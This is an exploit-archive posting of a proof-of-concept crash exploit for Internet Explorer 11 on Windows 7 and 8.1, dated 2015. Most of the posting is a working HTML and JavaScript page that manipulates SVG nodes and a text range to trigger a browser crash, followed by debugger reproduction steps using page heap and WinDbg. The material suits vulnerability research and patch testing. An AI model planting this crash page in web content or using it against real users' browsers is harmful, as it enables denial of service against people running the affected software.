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Microsoft Internet Explorer 11 Denial Of Service

Microsoft Internet Explorer 11 Denial Of Service
Posted May 19, 2015
Authored by garage4hackers

Microsoft Internet Explorer 11 crash proof of concept exploit.

tags | exploit, denial of service, proof of concept
SHA-256 | 48a1fc0ce312d68dbf0bf26d40a5fc17b15ddd5f26df3a4f0cfe73703ce6d47e

Microsoft Internet Explorer 11 Denial Of Service

Change Mirror Download
# Exploit Title: Internet Explorer 11 - Crash PoC
# Google Dork: N/A
# Date: 19th May, 2015
# Exploit Author: garage4hackers
# Vendor Homepage: http://garage4hackers.com/showthread.php?t=6246
# Software Link: N/A
# Version: Tested on IE 11
# Tested on: Windows 7
# CVE : N/A

<!doctype html>
<html>
<HEAD><title>case522207.html</title>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<style>
*:nth-child(5)::before {
content: 'moof';
}
*:nth-child(5)::after {
content:'>>';
}
</style>
</HEAD><body>
<script>
elem0 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem1 = document.createElementNS('http://www.w3.org/2000/svg', 'feGaussianBlur')
elem2 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem3 = document.createElement('dd')
elem4 = document.createElement('map')
elem5 = document.createElement('i')
elem6 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')

document.body.appendChild(elem0)
elem0.appendChild(elem1)
elem1.appendChild(elem2)
elem1.appendChild(elem3)
elem1.appendChild(elem4)
elem1.appendChild(elem5)
elem1.appendChild(elem6)

rangeTxt = document.body.createTextRange()
randOldNode = document.documentElement.firstChild
randOldNode.parentNode.replaceChild(elem2, randOldNode)
rangeTxt.moveEnd('sentence', '-20')

</script>
</body></html>

How do I reproduce it?

- It has been discovered, tested & reduced on Win7 32-bit Ultimate and runs successfully anytime.

a) Enable Page Heap # gflags.exe /p /enable iexplore.exe /full
b) Execute runMe.html in WinDbg
c) Tested on Win7 32-bit, Win8.1 32-bit, Win8.1 64-bit (not working on Win8, IE 10)

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